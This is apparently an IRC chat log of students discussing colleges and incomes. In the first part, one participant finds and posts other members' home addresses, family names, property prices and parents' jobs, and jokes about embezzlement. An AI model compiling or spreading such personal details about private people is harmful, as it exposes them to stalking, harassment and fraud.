[2015-03-13T00:39:54-0400] <Hyper> awe: can you figure out my home address?
[2015-03-13T00:40:00-0400] <Hyper> there's the challenge :)
[2015-03-13T00:40:21-0400] <+awe> bob_twinkles: mortgage?
[2015-03-13T00:40:32-0400] <bob_twinkles> hmm?
[2015-03-13T00:40:43-0400] <+awe> You're either rich, or you've got a huge mortgage.
[2015-03-13T00:40:49-0400] <bob_twinkles> I don't know much about my family finances TBH
[2015-03-13T00:41:00-0400] <+awe> I can find out for you lol
[2015-03-13T00:41:02-0400] <bob_twinkles> I personally don't have a lot of money to spend though
[2015-03-13T00:41:05-0400] <bob_twinkles> heh probably
[2015-03-13T00:41:32-0400] <+awe> jwoglom's house is $620,000, but they bought it for $610k in 2006.
[2015-03-13T00:41:49-0400] <+awe> The people who sold it to them bought the house for $202,000.
[2015-03-13T00:41:54-0400] <+awe> Talk about a big turn around.
[2015-03-13T00:42:10-0400] <jwoglom> awe: can you see when they originally bought it?
[2015-03-13T00:42:18-0400] <+awe> That family?
[2015-03-13T00:42:19-0400] <jwoglom> i think it was in the 90s
[2015-03-13T00:42:22-0400] <+awe> November 1994.
[2015-03-13T00:42:41-0400] <jwoglom> ah ok. house was built in the late 60's/early 70's
[2015-03-13T00:42:48-0400] <+awe> $400,000 in 12 years isn't bad.
[2015-03-13T00:42:58-0400] <+awe> It's $33,333/year on top of any income.
[2015-03-13T00:43:04-0400] <jwoglom> well, the area became more developed, i suppose
[2015-03-13T00:43:12-0400] <+awe> It's the same deal with where I lived.
[2015-03-13T00:43:16-0400] <bob_twinkles> you do need to adjust for inflation
[2015-03-13T00:43:23-0400] <+awe> Well, yeah.
[2015-03-13T00:43:26-0400] <jwoglom> still, you're right, big turnaround not counting for inflation
[2015-03-13T00:43:28-0400] <bob_twinkles> that's still a pretty good ROI though
[2015-03-13T00:43:49-0400] <Hyper> awe: i'm too much of a mystery for you :)
[2015-03-13T00:43:51-0400] • Hyper: goads
[2015-03-13T00:46:21-0400] <+awe> Hyper: E 24th St?
[2015-03-13T00:46:26-0400] <Hyper> nop
[2015-03-13T00:46:32-0400] <+awe> Is your dad's name Gary?
[2015-03-13T00:46:39-0400] <Hyper> nop
[2015-03-13T00:46:51-0400] <+awe> Guess this is an uncle or something.
[2015-03-13T00:46:55-0400] <Hyper> correct
[2015-03-13T00:47:14-0400] <Hyper> but he lives in west windsor
[2015-03-13T00:47:21-0400] <Hyper> not NYC
[2015-03-13T00:48:13-0400] <+awe> He did used to live on E 24th street in Manhattan.
[2015-03-13T00:51:19-0400] <+awe> Hyper: my friend Nick has someone who's a linked in connection with your uncle lol.
[2015-03-13T00:51:39-0400] <Hyper> awe: not to my knowledge.
[2015-03-13T00:51:47-0400] <+awe> To my knowledge.
[2015-03-13T00:51:52-0400] <+awe> That one was an observation
[2015-03-13T00:52:05-0400] <Hyper> well I'll see him this weekend I can ask for you :)
[2015-03-13T00:52:27-0400] <Hyper> I've already made it clear to everyone in the family that I'm super weird he'll just take it in stride
[2015-03-13T00:52:31-0400] <+awe> W 62nd Street?
[2015-03-13T00:52:32-0400] <LittleBobbyTables> awe, did you figure anything out about me
[2015-03-13T00:52:46-0400] <Hyper> awe: no
[2015-03-13T00:52:53-0400] <+awe> Hyper: that'd be weird because I don't know who the in-between connection is?
[2015-03-13T00:53:00-0400] <+awe> Is your dad Mitchell?
[2015-03-13T00:53:05-0400] <Hyper> yes
[2015-03-13T00:53:17-0400] <+awe> 200-6K Riverside Boulevard?
[2015-03-13T00:53:23-0400] <Hyper> yep
[2015-03-13T00:53:27-0400] <Hyper> taa daa
[2015-03-13T00:53:59-0400] <+awe> For the curious, that's a $2m apartment.
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[2015-03-13T00:54:10-0400] <+awe> calc0000: ^
[2015-03-13T00:54:11-0400] <Hyper> It's gone up in value significantly since we bought it
[2015-03-13T00:54:25-0400] <Hyper> the area was just starting to be developed when we moved in
[2015-03-13T00:54:35-0400] <+awe> Yeah, you bought it in '99.
[2015-03-13T00:54:43-0400] <Hyper> sounds right
[2015-03-13T00:54:48-0400] <Hyper> I found the best subreddit
[2015-03-13T00:54:50-0400] <Hyper> http://www.reddit.com/r/tsunderesharks
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[2015-03-13T00:55:20-0400] <+awe> Hyper: the penthouse in your building just sold for 4m.
[2015-03-13T00:55:30-0400] <Hyper> i'm unsurprised
[2015-03-13T00:56:19-0400] <+awe> Anyway, I think I've posted enough people's addresses for tonight.
[2015-03-13T00:56:36-0400] <Tamini> heh
[2015-03-13T00:56:37-0400] <Hyper> lol
[2015-03-13T00:56:44-0400] <+awe> I should get some zzzs.
[2015-03-13T00:56:53-0400] <+awe> And probably find a way to embezzle money from Hyper's family at some point.
[2015-03-13T00:57:05-0400] <+awe> A $2m dollar apartment in Manhattan sounds pretty dope.
[2015-03-13T00:57:18-0400] <Hyper> awe: if you do that I'll never talk to you again
[2015-03-13T00:57:20-0400] <Hyper> make your choice
[2015-03-13T00:57:22-0400] <+awe> Lol.
[2015-03-13T00:57:31-0400] <+awe> I might trade you for the apartment.
[2015-03-13T00:57:53-0400] <+awe> i.e. I'll never speak to you again and in return for such a great service, you pay me the apartment.
[2015-03-13T00:58:14-0400] <+awe> Although, I'd really want a penthouse.
[2015-03-13T00:58:18-0400] <Tamini> loool
[2015-03-13T00:58:19-0400] <+awe> It's all about the view.
[2015-03-13T00:58:37-0400] <Tamini> awe
[2015-03-13T00:58:41-0400] <+awe> Yeah?
[2015-03-13T00:58:42-0400] <Tamini> if you get that apartment
[2015-03-13T00:58:44-0400] <Tamini> can we be roommates?
[2015-03-13T00:58:45-0400] <Tamini> <3
[2015-03-13T00:58:47-0400] <+awe> Yeah, sure.
[2015-03-13T00:59:11-0400] <+awe> Also, for the record, Hyper is probably the richest person here.
[2015-03-13T00:59:32-0400] <+awe> Almost definitely, unless nezorg or hardmath123 is a millionaire.
[2015-03-13T01:00:42-0400] <Hyper> gee thanks
[2015-03-13T01:00:50-0400] <+awe> It's not surprising.
[2015-03-13T01:01:05-0400] <+awe> You went to Stuy. You go to an extremely expensive university.
[2015-03-13T01:01:42-0400] <Tamini> he's a Stuy kid?
[2015-03-13T01:01:43-0400] <Tamini> >___>
[2015-03-13T01:01:48-0400] <+awe> You didn't know that?
[2015-03-13T01:01:52-0400] <Tamini> no, I didn't
[2015-03-13T01:01:52-0400] <+awe> He's mentioned it before.
[2015-03-13T01:02:03-0400] <jwoglom> ha, nice.
[2015-03-13T01:02:28-0400] <+awe> If I sorted by income, I don't think I'd be that close to the top.
[2015-03-13T01:02:35-0400] <Tamini> wow
[2015-03-13T01:02:41-0400] <Tamini> i feel really sad now.
[2015-03-13T01:02:58-0400] <+awe> Because bob_twinkles family and Tamini family probably make more
[2015-03-13T01:02:59-0400] <Tamini> I asked john for his number and he disappeared on me ._.
[2015-03-13T01:03:02-0400] <Tamini> and mm
[2015-03-13T01:03:05-0400] <Tamini> we don't really
[2015-03-13T01:03:07-0400] <Tamini> *make* more
[2015-03-13T01:03:09-0400] <+awe> Than me?
[2015-03-13T01:03:10-0400] <+awe> You probably do.
[2015-03-13T01:03:15-0400] <Tamini> we own a lot of property in very good land in korea.
[2015-03-13T01:03:18-0400] <bob_twinkles> don't worry I'll be in poor college student land next year
[2015-03-13T01:03:22-0400] <Tamini> so we're worth more, but we don't necessarily make more.
[2015-03-13T01:03:34-0400] <+awe> Your dad's salary is probably more than my dad's salary.
[2015-03-13T01:03:58-0400] <Tamini> that's probably true.
[2015-03-13T01:03:58-0400] <Hyper> yeah I went to stuy
[2015-03-13T01:04:18-0400] <+awe> Hard to say though because I can't find that much about the Heritage Foundation's wages.
[2015-03-13T01:04:35-0400] <Tamini> we're definitely not as rich as we could've been
[2015-03-13T01:04:39-0400] <Tamini> if my dad was uh
[2015-03-13T01:04:45-0400] <Tamini> by your words "more badass"
[2015-03-13T01:04:55-0400] <+awe> But I assume if you're going to pay people to lie about the merits of capitalism, you probably pay them a lot to do it.
[2015-03-13T01:05:02-0400] <Tamini> yep!
[2015-03-13T01:06:04-0400] <+awe> bob_twinkles's dad works in network tech.
[2015-03-13T01:06:19-0400] <bob_twinkles> government contracting mostly, yeah
[2015-03-13T01:06:37-0400] <+awe> He's a vice president which means his position is official enough that I won't find any salaries on Glassdoor.
[2015-03-13T01:07:16-0400] <bob_twinkles> heh
[2015-03-13T01:07:40-0400] <bob_twinkles> he works like 80-90 hour weeks though
[2015-03-13T01:07:45-0400] <+awe> He shows up on the executive list.
[2015-03-13T01:07:54-0400] <+awe> So yeah, he makes a lot.
[2015-03-13T01:08:00-0400] <+awe> bob_twinkles: I assume that's true for almost everyone here.
[2015-03-13T01:08:05-0400] <bob_twinkles> probably, I haven't the faintest idea =P
[2015-03-13T01:08:07-0400] <bob_twinkles> yeah
[2015-03-13T01:08:18-0400] <jwoglom> ouch, that's a lot of hours in a week
[2015-03-13T01:08:19-0400] <bob_twinkles> tech is not a family friendly industry
[2015-03-13T01:08:20-0400] <+awe> My dad has worked constantly my entire life.
[2015-03-13T01:09:32-0400] <+awe> I was trying to find indications about the valuation of AAC Inc.
[2015-03-13T01:09:33-0400] <+awe> But I can't.
[2015-03-13T01:09:46-0400] <bob_twinkles> yeah they aren't... super huge I don't think
[2015-03-13T01:10:05-0400] <bob_twinkles> most of their income is government contracting work, so I guess you could try and figure out which contracts they hold =P
[2015-03-13T01:10:31-0400] <Hyper> awe: my dad has also worked constantly my entire life x.x
[2015-03-13T01:10:37-0400] <+awe> The median salary for a CIO in the DC area is $158,762.
[2015-03-13T01:10:48-0400] <+awe> So, there's a 50% chance that bob_twinkles's dad makes more than $160,000.
[2015-03-13T01:11:04-0400] <bob_twinkles> sounds about right probably?
[2015-03-13T01:11:12-0400] <bob_twinkles> living in NOVA is also hella expensive though
[2015-03-13T01:11:14-0400] <+awe> With the max-ish salary range being just under $300,000.
[2015-03-13T01:11:30-0400] <bob_twinkles> speaking of making money
[2015-03-13T01:11:33-0400] <+awe> bob_twinkles: you don't need to justify yourself. We're mostly from the same background.
[2015-03-13T01:11:37-0400] <bob_twinkles> I should probably apply for internships or some shit
[2015-03-13T01:11:52-0400] <+awe> All the NoVa people are from that area.
[2015-03-13T01:11:55-0400] <Tamini> you really should
[2015-03-13T01:12:00-0400] <Tamini> why don't you mitre, bob_twinkles?
[2015-03-13T01:12:00-0400] <jwoglom> my search to find an internship has gone nowhere! yay.
[2015-03-13T01:12:04-0400] <+awe> me, alokpathy, and Jacob are from an identical town in NJ.
[2015-03-13T01:12:05-0400] <Tamini> and awe: I officially got rejected i think
[2015-03-13T01:12:06-0400] <Tamini> i cry :<
[2015-03-13T01:12:07-0400] <bob_twinkles> ... or I could rewrite my raytracer in C++ because fuck everything about no generics in C
[2015-03-13T01:12:16-0400] <LittleBobbyTables> stupid
[2015-03-13T01:12:18-0400] <LittleBobbyTables> torrent
[2015-03-13T01:12:21-0400] <LittleBobbyTables> giving spanish subs
[2015-03-13T01:12:23-0400] <LittleBobbyTables> what the fuck
[2015-03-13T01:12:24-0400] <+awe> LittleBobbyTables is the most vastly different person here.
[2015-03-13T01:12:29-0400] <LittleBobbyTables> ?
[2015-03-13T01:12:33-0400] <+awe> Based on background.
[2015-03-13T01:12:39-0400] <LittleBobbyTables> 100% true
[2015-03-13T01:12:41-0400] <Hyper> jwoglom: <3
[2015-03-13T01:12:43-0400] <Hyper> nor mine
[2015-03-13T01:12:45-0400] <+awe> It is, for sure.
[2015-03-13T01:12:48-0400] <Hyper> I keep getting rejected
[2015-03-13T01:12:55-0400] <+awe> and yeah, Hyper lives in the second most expensive city on Earth.
[2015-03-13T01:12:55-0400] <bob_twinkles> most of the interesting work at MITRE requires getting a clearance though
[2015-03-13T01:12:58-0400] <bob_twinkles> which is kinda annoying
[2015-03-13T01:13:05-0400] <+awe> Maybe the most expensive if you control for the fact that he lives specifically in Manhattan.
[2015-03-13T01:13:20-0400] <Hyper> awe: I actually live in Bkln :)
[2015-03-13T01:13:24-0400] <+awe> well, yeah.
[2015-03-13T01:13:25-0400] <bob_twinkles> also, I think csssuf is occupying the official mitre internship slot
[2015-03-13T01:13:30-0400] <+awe> So, I think for the most part, high COL is familiar to everyone though.
[2015-03-13T01:13:37-0400] <LittleBobbyTables> -COL
[2015-03-13T01:13:38-0400] <LittleBobbyTables> and yes
[2015-03-13T01:13:45-0400] <Tamini> it's not like that means you CANT do it
[2015-03-13T01:13:58-0400] <+awe> LittleBobbyTables: are you saying being high is familiar to you?
[2015-03-13T01:14:10-0400] <LittleBobbyTables> *nod*
[2015-03-13T01:14:15-0400] <+awe> lol
[2015-03-13T01:14:53-0400] <+awe> I should perhaps do something about the fact that this room is bougie as fuck.
[2015-03-13T01:15:14-0400] <jwoglom> bob_twinkles: do they really only take one HS intern, lol
[2015-03-13T01:15:23-0400] <bob_twinkles> I'm not sure
[2015-03-13T01:15:24-0400] <Tamini> wait, awe
[2015-03-13T01:15:27-0400] <jwoglom> also didn't he like basically get a call on the last day of school
[2015-03-13T01:15:30-0400] <+awe> Tamini: ?
[2015-03-13T01:15:31-0400] <Tamini> were you around for my discussion about um
[2015-03-13T01:15:38-0400] <Tamini> why my parents dont want me to go to school on the west coast
[2015-03-13T01:15:42-0400] <+awe> Why?
[2015-03-13T01:15:54-0400] <bob_twinkles> from what csssuf was saying they only take one officially, or maybe they only have the budget for one
[2015-03-13T01:16:03-0400] <LittleBobbyTables> awe: my friends have been kicked off buses and out of conventions for being too drunk, smoking too much, and asking underage kids if they wanna join
[2015-03-13T01:16:13-0400] <LittleBobbyTables> I mean, it's probably the last part that really did it
[2015-03-13T01:16:14-0400] <LittleBobbyTables> but still
[2015-03-13T01:16:23-0400] <bob_twinkles> my mom doesn't want me going to school on the west coast because of all the damn liberals =P
[2015-03-13T01:16:28-0400] <+awe> Why am I being provided with this information though, LittleBobbyTables?
[2015-03-13T01:16:37-0400] <LittleBobbyTables> Because I have nothing better to do.
[2015-03-13T01:16:38-0400] <+awe> bob_twinkles: ugh, are your parents gross like Tamini's?
[2015-03-13T01:16:48-0400] <bob_twinkles> nah
[2015-03-13T01:16:52-0400] <+awe> By gross I mean conservative.
[2015-03-13T01:16:56-0400] <Tamini> lol
[2015-03-13T01:17:03-0400] <Tamini> my mom thinks i'll get into drugs
[2015-03-13T01:17:07-0400] <Tamini> wait, i'm surprised you missed this
[2015-03-13T01:17:07-0400] <bob_twinkles> I'm not really interested in many west-coast schools anyway
[2015-03-13T01:17:13-0400] <bob_twinkles> they're like money and hot
[2015-03-13T01:17:13-0400] <jwoglom> bob_twinkles: she does realize you're in northern virginia, right? :P
[2015-03-13T01:17:15-0400] <Tamini> john was pretty confused 
[2015-03-13T01:17:17-0400] <bob_twinkles> neither of which I appreciate
[2015-03-13T01:17:18-0400] <jwoglom> pretty liberal area
[2015-03-13T01:17:23-0400] <bob_twinkles> jwoglom: she's salty as hell about that
[2015-03-13T01:17:25-0400] <+awe> jwoglom: relative to what?
[2015-03-13T01:17:30-0400] <LittleBobbyTables> Tamini: you definitely will
[2015-03-13T01:17:33-0400] <bob_twinkles> the rest of virginia =P
[2015-03-13T01:17:33-0400] <jwoglom> awe: the rest of virginia and the south
[2015-03-13T01:17:41-0400] <+awe> Yeah, but it's still very conservative.
[2015-03-13T01:17:52-0400] <+awe> It's nothing like most of California or Massachusetts.
[2015-03-13T01:18:06-0400] <bob_twinkles> !s/most of California/ Silicon Valley
[2015-03-13T01:18:08-0400] <jwoglom> awe: NoVA is a lot more of a northern city than a southern one
[2015-03-13T01:18:14-0400] <bob_twinkles> by land area California is actually pretty conservative
[2015-03-13T01:18:16-0400] <jwoglom> not as liberal as those areas but still
[2015-03-13T01:18:17-0400] <bob_twinkles> just the coast is liberal as hell
[2015-03-13T01:18:23-0400] <+awe> bob_twinkles: Well, yeah, but by population, it's not.
[2015-03-13T01:18:28-0400] <bob_twinkles> 'course that's where all the people are...
[2015-03-13T01:18:35-0400] <+awe> bob_twinkles: desert areas are always conservative.
[2015-03-13T01:18:48-0400] <bob_twinkles> yeah
[2015-03-13T01:19:03-0400] <+awe> jwoglom: It's probably the same sort of liberal that the area of NJ I was in was.
[2015-03-13T01:19:03-0400] <bob_twinkles> 'cept when some moron builds a city in the desert and gets all the people to come there
[2015-03-13T01:19:10-0400] <+awe> "We vote democrat and that's the extent of how progressive we are."
[2015-03-13T01:19:38-0400] <+awe> "We're okay with gay rights, and a higher tax rate for the highest tax bracket, but please don't raise the taxes on the second highest bracket because we're the 'middle class'."
[2015-03-13T01:19:46-0400] <LittleBobbyTables> http://imgur.com/a/sNOYy
[2015-03-13T01:19:48-0400] <jwoglom> probably, lol
[2015-03-13T01:21:01-0400] <+awe> The perception of people who make $150,000/year that they're the "middle class" is hilarious.
[2015-03-13T01:21:15-0400] <+awe> Salary 3x the median "We're the middle class."
[2015-03-13T01:21:17-0400] <LittleBobbyTables> Yeah, that'as poor
[2015-03-13T01:21:23-0400] <Tamini> well
[2015-03-13T01:21:37-0400] <Tamini> middle class isnt that well defined
[2015-03-13T01:22:05-0400] <bob_twinkles> pls it's "upper middle class"
[2015-03-13T01:22:06-0400] <+awe> If your house is 4x the median home cost and your income is 3x the median salary, you're not "middle class"
[2015-03-13T01:22:15-0400] <+awe> bob_twinkles: lol, that's when they start to admit that they're better off than some people.
[2015-03-13T01:22:27-0400] <+awe> For the record, this bashing totally includes my own family.
[2015-03-13T01:22:33-0400] <+awe> My parents talk about us as being the middle class.
[2015-03-13T01:22:42-0400] <+awe> And I'm like "lolno."
[2015-03-13T01:22:44-0400] <bob_twinkles> dude that's gonna be us in 20 years
[2015-03-13T01:22:48-0400] <bob_twinkles> rich and salty
[2015-03-13T01:22:55-0400] <LittleBobbyTables> I can't really watch hunger games without thinking "fuck why aren't more of her pics out yet"
[2015-03-13T01:23:13-0400] <+awe> I want to be a Uni professor.
[2015-03-13T01:23:15-0400] <+awe> I won't be that rich.
[2015-03-13T01:23:42-0400] <bob_twinkles> heh, you'll probably be less salty too...
[2015-03-13T01:23:48-0400] <+awe> Really depends on where I live though.
[2015-03-13T01:24:08-0400] <+awe> If I taught at like... UMD, I'd be poorer than if I taught at UMass, for example.
[2015-03-13T01:24:14-0400] <+awe> Even if I had the same income.
[2015-03-13T01:24:35-0400] <bob_twinkles> I'd like to do systems programming/hpc/gamedev though so I'll either be insane/insane/(50/50 chance of actually making money)
[2015-03-13T01:24:37-0400] <+awe> Salary prospects are really good for CS professors though.
[2015-03-13T01:25:13-0400] <bob_twinkles> gamedev is like the worst part of the industry as far as "doing things that are not your job" is concerned though
[2015-03-13T01:25:17-0400] <+awe> There's quite a few CS professors at my school in the 160k range.
[2015-03-13T01:25:22-0400] <bob_twinkles> #tenure?
[2015-03-13T01:25:31-0400] <+awe> I mean, yeah, they're tenured.
[2015-03-13T01:25:47-0400] <+awe> That's not why they make that much money though.
[2015-03-13T01:25:54-0400] <+awe> Tenure at a University is not the same as tenure at high school.
[2015-03-13T01:26:02-0400] <+awe> Pay at universities is not based on seniority.
[2015-03-13T01:26:09-0400] <+awe> Or at least, not directly in the same way.
[2015-03-13T01:26:30-0400] <+awe> A big part of it is how much grant money and research funding you bring in.
[2015-03-13T01:26:39-0400] <+awe> So, professors who do great research bring in a lot more money.
[2015-03-13T01:27:11-0400] <+awe> But yeah, I mean, $150k in an area that's not expensive (I'll use Amherst as an example again) is very rich.
[2015-03-13T01:27:36-0400] <bob_twinkles> I like fixing things more than banging my head against theoretical problems though
[2015-03-13T01:28:03-0400] <bob_twinkles> so a professership/research position isn't that appealing to me
[2015-03-13T01:29:03-0400] <+awe> bob_twinkles: 7 bedroom, 8 bathroom, 5,600 sqft home for $690,000 in Amherst.
[2015-03-13T01:29:12-0400] <+awe> You'll maybe notice that that's a MANSION?
[2015-03-13T01:29:14-0400] <bob_twinkles> o_O
[2015-03-13T01:29:23-0400] <jwoglom> awe: O_o
[2015-03-13T01:29:29-0400] <+awe> >3x the size of the average home in the US
[2015-03-13T01:29:38-0400] <+awe> And it's cheaper than jwoglom's house, my old house, and bob_twinkles's house.
[2015-03-13T01:29:42-0400] <bob_twinkles> a house like that would run... probably in the $1-2M range around here
[2015-03-13T01:29:42-0400] <jwoglom> well, i guess if I live outside of this area
[2015-03-13T01:29:51-0400] <jwoglom> i'll be happy to know that house prices aren't that rediculously high
[2015-03-13T01:29:52-0400] <bob_twinkles> if not more
[2015-03-13T01:30:05-0400] <+awe> I'd expect like ~2.5m
[2015-03-13T01:30:28-0400] <+awe> And honestly, Amherst is still a lot more expensive than the average area in the US.
[2015-03-13T01:30:39-0400] <LittleBobbyTables> ur mom is more expensive
[2015-03-13T01:30:48-0400] <jwoglom> isn't that a compliment
[2015-03-13T01:30:53-0400] <+awe> Massachusetts is really expensive in general.
[2015-03-13T01:30:57-0400] <bob_twinkles> pretty sure that's a compliment
[2015-03-13T01:31:17-0400] <LittleBobbyTables> shhh
[2015-03-13T01:31:22-0400] <bob_twinkles> dude if you want cheap houses go to like... Phoenix
[2015-03-13T01:31:44-0400] <bob_twinkles> at least a few years ago the housing market there was shrekt by the housing bubble and all the things were cheap AF
[2015-03-13T01:31:48-0400] <bob_twinkles> there's also nothing there
[2015-03-13T01:31:53-0400] <bob_twinkles> but y'know, house!
[2015-03-13T01:31:55-0400] <+awe> Gotta be cheap houses around a research university, bob_twinkles :p
[2015-03-13T01:32:01-0400] <bob_twinkles> lol
[2015-03-13T01:32:30-0400] <+awe> Atlanta has some dope mansions.
[2015-03-13T01:32:32-0400] <+awe> But they're expensive.
[2015-03-13T01:32:46-0400] <+awe> $8m for a 30,000 sqft mansion.
[2015-03-13T01:32:57-0400] <bob_twinkles> WTF do you even do with all that space though
[2015-03-13T01:33:07-0400] <+awe> You need somewhere for your servants?
[2015-03-13T01:33:17-0400] <bob_twinkles> I mean, piles of random shit generally tend to expand to fit the space available to them
[2015-03-13T01:33:20-0400] <bob_twinkles> but that's a lot of space
[2015-03-13T01:34:10-0400] <+awe> Houses near GT are p pricy.
[2015-03-13T01:34:29-0400] <+awe> Well, ones that aren't small anyway.
[2015-03-13T01:34:35-0400] <bob_twinkles> also you'd probably die of conservative there =P
[2015-03-13T01:34:53-0400] <+awe> Atlanta?
[2015-03-13T01:34:55-0400] <+awe> Very no.
[2015-03-13T01:35:13-0400] <+awe> Atlanta is predominantly black and predominantly liberal.
[2015-03-13T01:35:24-0400] <bob_twinkles> eh, apparently GT is more conservative than some other research institutions
[2015-03-13T01:35:30-0400] <+awe> Oh, yeah, probably.
[2015-03-13T01:35:30-0400] <bob_twinkles> ohright bible belt
[2015-03-13T01:36:01-0400] <+awe> Realistically, I don't think I'm going to be able to avoid the snow.
[2015-03-13T01:36:11-0400] <bob_twinkles> heh
[2015-03-13T01:36:20-0400] <bob_twinkles> right now my top choice is probably RIT so...
[2015-03-13T01:36:32-0400] <bob_twinkles> snow4dayz and I don't even get to miss class
[2015-03-13T01:36:36-0400] <bob_twinkles> b/c tunnels
[2015-03-13T01:36:44-0400] <+awe> Well, I meant for teaching.
[2015-03-13T01:36:52-0400] <+awe> Why RIT though?
[2015-03-13T01:37:03-0400] <bob_twinkles> they have a coop program and cost less stacks than Drexel
[2015-03-13T01:37:15-0400] <+awe> Heh. Drexel gave bigger scholarships.
[2015-03-13T01:37:29-0400] <bob_twinkles> if I get accepted to CMU I'll got there but the chances of that are vanishingly small
[2015-03-13T01:37:34-0400] <+awe> Drexel was more expensive but offered me like $40,000 versus RIT's $20,000.
[2015-03-13T01:37:53-0400] <bob_twinkles> lol having a good high school GPA =P
[2015-03-13T01:38:01-0400] <+awe> >implying I had a good GPA in high school
[2015-03-13T01:38:07-0400] <+awe> I had a 2.7.
[2015-03-13T01:38:08-0400] <Tamini> why didn't you?
[2015-03-13T01:38:09-0400] <bob_twinkles> Drexel offered me like... $5k or something like that
[2015-03-13T01:38:12-0400] <+awe> I failed classes.
[2015-03-13T01:38:20-0400] <+awe> I didn't do any work.
[2015-03-13T01:38:23-0400] <+awe> I coasted.
[2015-03-13T01:38:28-0400] <bob_twinkles> what about math/cs grades though?
[2015-03-13T01:38:35-0400] <+awe> I got a C in Precalculus.
[2015-03-13T01:38:46-0400] <bob_twinkles> heh
[2015-03-13T01:38:50-0400] <+awe> My teacher was pretty miffed.
[2015-03-13T01:38:52-0400] <bob_twinkles> they must have really loved you or something
[2015-03-13T01:38:56-0400] <bob_twinkles> lol
[2015-03-13T01:39:03-0400] <+awe> I never did any homework but he knew I got it.
[2015-03-13T01:39:10-0400] <+awe> So, he was annoyed that I didn't do the work.
[2015-03-13T01:39:17-0400] <+awe> I did get an A in Calc though.
[2015-03-13T01:39:23-0400] <+awe> And straight A's in CS.
[2015-03-13T01:39:28-0400] <bob_twinkles> yeah see you demonstrated improvement
[2015-03-13T01:39:38-0400] <+awe> lol, the A in Calc was my senior year though.
[2015-03-13T01:39:40-0400] <+awe> They didn't see it.
[2015-03-13T01:39:54-0400] <bob_twinkles> I went from getting an A in A2/Trig/Precalc to getting like a B in Calc to a B- in multivar
[2015-03-13T01:39:56-0400] <+awe> bob_twinkles: you should look at Waterloo.
[2015-03-13T01:40:07-0400] <+awe> Owait, you're a senior.
[2015-03-13T01:40:09-0400] <bob_twinkles> yah
[2015-03-13T01:40:11-0400] <+awe> derp.
[2015-03-13T01:40:14-0400] <bob_twinkles> too late to apply places =P
[2015-03-13T01:40:17-0400] <+awe> You should've looked at Waterloo.
[2015-03-13T01:40:31-0400] <bob_twinkles> that coulda been interesting
[2015-03-13T01:40:33-0400] <+awe> Their coop program is great.
[2015-03-13T01:40:48-0400] <+awe> I applied to Toronto because they're stronger in theory.
[2015-03-13T01:40:55-0400] <+awe> I got in, but $$4.
[2015-03-13T01:41:06-0400] <bob_twinkles> you really get screwed on the financial aid with overseas institutions though
[2015-03-13T01:41:19-0400] <+awe> >implying I qualify for any anyway.
[2015-03-13T01:41:25-0400] <+awe> or that you qualify for any.
[2015-03-13T01:41:31-0400] <bob_twinkles> well yeah
[2015-03-13T01:42:04-0400] <bob_twinkles> but international students get higher tuition even without financial aid I think
[2015-03-13T01:42:16-0400] <bob_twinkles> er
[2015-03-13T01:42:19-0400] <bob_twinkles> that doesn't make any sense
[2015-03-13T01:42:20-0400] <+awe> Yup.
[2015-03-13T01:42:26-0400] <+awe> They have to pay more.
[2015-03-13T01:42:32-0400] <bob_twinkles> yeah, that's what I mean
[2015-03-13T01:42:35-0400] <bob_twinkles> *meant
[2015-03-13T01:43:16-0400] <bob_twinkles> I have a friend who's going to study law at Oxford which is kinda ??? but apparently that's going to be significant money
[2015-03-13T01:43:27-0400] <+awe> The only warm places I could go for CS and still teach at excellent schools would be Austin, Atlanta, or LA.
[2015-03-13T01:43:47-0400] <bob_twinkles> lol
[2015-03-13T01:43:54-0400] <bob_twinkles> need the cold to keep the research machines cool =P
[2015-03-13T01:44:03-0400] <+awe> Made worse by the fact that I'd ideally like to teach at a public school.
[2015-03-13T01:44:12-0400] <+awe> And I don't want to go to california.
[2015-03-13T01:44:44-0400] <+awe> You know, the fact that I still got into Toronto and UMass is very ???.
[2015-03-13T01:45:11-0400] <+awe> They're both top-tier CS schools and my grades were awful.
[2015-03-13T01:45:19-0400] <bob_twinkles> you must be able to write good essays or something?
[2015-03-13T01:45:21-0400] <+awe> And I got rejected from lower-tier schools.
[2015-03-13T01:45:38-0400] <bob_twinkles> or had really strong recs
[2015-03-13T01:45:56-0400] <+awe> My CS teacher and my AP Lang teacher.
[2015-03-13T01:46:31-0400] <bob_twinkles> I have the advantage/disadvantage of going to TJ because on one hand some of the higher-end institutions really like is but a lot of lower-tier schools just reject TJ students on the assumption that we're only applying there as a safety and won't actually attend
[2015-03-13T01:46:41-0400] <+awe> lol
[2015-03-13T01:46:44-0400] <+awe> Maybe that was an issue for me?
[2015-03-13T01:46:57-0400] <bob_twinkles> UVA is getting salty as hell about accepting.. I think ~130 students last year and getting in like... 10-20 range?
[2015-03-13T01:47:15-0400] <Tamini> wait, seriously?
[2015-03-13T01:47:19-0400] <Tamini> that bad this year?
[2015-03-13T01:47:26-0400] <+awe> UVA is a really high-ranking public school too.
[2015-03-13T01:47:36-0400] <Tamini> i just find it kinda funny how
[2015-03-13T01:47:41-0400] <Tamini> tj talks about uva like its a terrible school
[2015-03-13T01:47:45-0400] <bob_twinkles> yeah but TJ kids just apply there as a safety school and don't attend =P
[2015-03-13T01:47:59-0400] <+awe> It's like #2 in the nation for public schools.
[2015-03-13T01:48:04-0400] <bob_twinkles> and that looks bad on them
[2015-03-13T01:48:44-0400] <bob_twinkles> for me at least it wasn't really a decision of "oh I want to go to UVA" it was more "fuckit I'll apply, everyone else is"
[2015-03-13T01:48:50-0400] <+awe> Why is my only choice to live somewhere very expensive? .-.
[2015-03-13T01:48:55-0400] <Tamini> lol
[2015-03-13T01:48:59-0400] <bob_twinkles> I also got rejected so... I guess that shows how that went
[2015-03-13T01:49:05-0400] <Tamini> my safety isn't uva ;-;
[2015-03-13T01:49:07-0400] <Tamini> and wait seriously
[2015-03-13T01:49:07-0400] <bob_twinkles> because CS brings in money
[2015-03-13T01:49:09-0400] <+awe> bob_twinkles: I refused to apply to Rutgers because my high school is all there.
[2015-03-13T01:49:14-0400] <Tamini> what the hell did you do with your application
[2015-03-13T01:49:16-0400] <jwoglom> uva doesn't like TJ nowadays, yeah
[2015-03-13T01:49:32-0400] <Tamini> also I mean
[2015-03-13T01:49:34-0400] <bob_twinkles> pretty much ^, I didn't do anything outside of completing the application 
[2015-03-13T01:49:45-0400] <bob_twinkles> awe: probably a good call
[2015-03-13T01:49:50-0400] <Tamini> there'a also the issue with lots of really really good kids applying to UVA from tj
[2015-03-13T01:49:58-0400] <Tamini> because its the main safety
[2015-03-13T01:50:02-0400] <+awe> Probably the most affordable place in the top 20 for CS is Madison, WI?
